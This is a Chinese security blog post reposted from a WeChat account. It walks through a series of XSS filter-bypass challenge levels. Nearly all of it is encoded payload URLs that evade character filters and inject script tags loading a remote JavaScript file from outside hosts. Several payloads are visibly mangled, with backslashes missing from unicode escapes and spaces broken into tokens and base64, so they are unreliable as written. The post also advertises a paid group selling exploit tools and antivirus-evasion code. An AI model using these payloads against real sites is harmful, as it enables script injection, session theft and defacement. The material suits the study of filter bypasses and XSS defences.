【独孤九剑】攻防实战详情

admin 2025年1月1日23:04:57评论17 views字数 5448阅读18分9秒阅读模式

你若不勇敢,谁又可以替你坚强?

独孤九剑第一式:

 这里过滤了 =()

构造payload:

?data="><svg><script>%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://rdyx0/test/alert.js'

?data=1%22%3E%3Cscript%3Edocument.write` u0073u0063u0072u0069u0070u0074u0020u0073u0072u0063u003du0022u0068u0074u0074u0070u003au002fu002fu0078u0063u0061u006fu002eu0076u0069u0070u002fu0078u0073u0073u002fu0061u006cu0065u0072u0074u002eu006au0073u0022u003e u002fu0073u0063u0072u0069u0070u0074u003e`%3C/script%3E%3C!--)

解码后就是这样,这里是因为在 svg 下面的 script 可以使用 html 编码,利用 html 编码绕过=() 的过滤 

?data=">#with (document)body.appendChild(createElement('script')).src='http://127.0.0.1/xss/alert.js'

成功通关

【独孤九剑】攻防实战详情

独孤九剑第二式:

这里过滤了 =(). 新增了.的过滤 利用 setTimeout 以及``代替括号,同时采用u 编码绕过对()和.的限制

构造payload:

http://rdyx0/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`u0065u0076 u0061u006cu0028u006cu006fu0063u0061u0074u0069u006fu006eu002eu0068 u0061u0073u0068u002eu0073u006cu0069u0063u0065u0028u0031u0029u0029 `;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='ht tp://rdyx0/xss/alert.js'

成功通关

【独孤九剑】攻防实战详情

独孤九剑第三式:

过滤了 ().&# 注意和第二题的不同,放开了=的过滤,新增了&#的过滤

没有过滤=了,可以直接用 script 加载,然后利用%2e URL 编码绕过对点号的过滤

构造payload:

http://rdyx0/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xs s/alert%252ejs%3E%3C/script%3E

成功通关

【独孤九剑】攻防实战详情

独孤九剑第四式:

过滤了 =().&#

%编码还能用,可以使用 javascript 伪协议+URL 编码的方法,使用 location.replace 方法引入 javascript 协议,由于 location.replace 里面的参数是连接, 里面必然可以使用 URL 编码,因此顺利绕过,把().分别用 %2528 %2529 %252e 编码,因为 location 是 URL,因此后自动解码 URL 编码。

利用iframe标签然后配合base64编码的js加载

构造payload:

http://rdyx0/test/xss4.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

【独孤九剑】攻防实战详情

独孤九剑第五式:

过滤了 ().&#% 这里和第四题的区别是新增了%的过滤,同时不再过滤=,因为和第三题比较只是多了一个%的过滤,因此沿用第三题的思路,这里想到了一个 IP 十进制的方法,把 IP 地址转换成十进制不就没.了吗。 alert.js 好处理,可以用自己的一个域名跳转到目标域名,自己域名链接不要带.就行

http://rdyx0/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx% 3E%3C/script%3E 

构造payload: 

http://rdyx0/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

【独孤九剑】攻防实战详情

独孤九剑第六式:

 过滤了 =().&#% 

构造payload: 

http://rdyx0/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--

成功通关

【独孤九剑】攻防实战详情

另外的payload:

http://rdyx0/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Ef rames[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9a HR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E

成功通关

【独孤九剑】攻防实战详情

独孤九剑第七式:

过滤了 =().&#%<>,输入点在js里

将=,<,>进行ascii编码,有效载荷稍作修改即可

http://rdyx0/test/xss7.php?data=%22%22;top[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`60`%2b%22iframe%20src%22%2btop[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%22%2btop[%22String%22][%22fromCharCode%22]`62`}`

成功通关

【独孤九剑】攻防实战详情

构造payload:用 hash 保存工具向量

http://rdyx0/test/xss7.php/?data=1;[]['constructor']['constructor']`a${locat ion['hash']['slice']`1`}```#with(document)body.appendChild(createElement('scrip t')).src='http://rdyx0/xss/alert.js'

成功通关

【独孤九剑】攻防实战详情

独孤九剑第八式:

过滤了 =().&#%<>’”[],新增’”[]的过滤。 

利用 base64

http://rdyx0/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3J pcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}``` 

成功通关

【独孤九剑】攻防实战详情

独孤九剑第八-1 式:

过滤了 =().&#%<>’”{},新增{}的过滤。 放开[]的使用权,没有了{}就没法使用 js 模板了,那攻击向量存哪儿呢? Function`name```肯定是不行的 但是别忘了万能的伪协议

base64

http://rdyx0/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjP ScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a` 

成功通关

【独孤九剑】攻防实战详情

独孤九剑第八-2 式:

过滤了 =().&#%<>’”[] Function,相对于第 8 式新增 Function 的过滤(这是不是像极了 struts2 修复漏洞的方式)第八关的解法不能用[]和引号,那么是不是必须要在 window 下面另外找一个方法来替代 Funtion 呢? setTimeout? open? 先看看 open 的参数 

window.open('page.html', 'newwindow', 'height=100, width=400, top=0, left=0, to olbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no') 

如果我们能控制第二个参数就可以了,因为可以用

 open("javascript:name","img src=x onerror=alert(domain.domain)>") //请忽略浏览器拦截

这里需要复习一下 js 模板的方法调用

aaaaa${1}bbb${2}ccc

相当于就是,传递了三个参数

["aaa,bbb,ccc", "1", "2"] 

因此我们可以构造 

openjavascript:name//${atobPGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW 50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY W8udmlwL3hzcy9hbGVydC5qcyc+}

构造payload

http://rdyx0//test/xss8-2.php?data=openjavascript:name//${atobPGltZyBzcmM9 eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWV udCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b}

成功通关

【独孤九剑】攻防实战详情

本文工具、源码加圈获取

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!
纷传
【独孤九剑】攻防实战详情
知识星球
【独孤九剑】攻防实战详情
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):【独孤九剑】攻防实战详情

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日23:04:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【独孤九剑】攻防实战详情https://cn-sec.com/archives/3566177.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息